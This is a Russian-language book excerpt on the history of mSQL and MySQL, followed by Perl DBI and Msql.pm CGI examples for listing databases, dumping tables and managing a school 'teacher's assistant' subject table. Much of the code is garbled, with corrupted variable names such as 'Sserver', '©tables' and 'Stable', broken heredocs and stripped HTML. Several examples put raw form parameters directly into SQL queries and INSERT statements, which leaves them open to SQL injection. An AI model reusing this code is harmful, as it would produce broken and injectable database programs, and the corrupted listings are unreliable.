    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

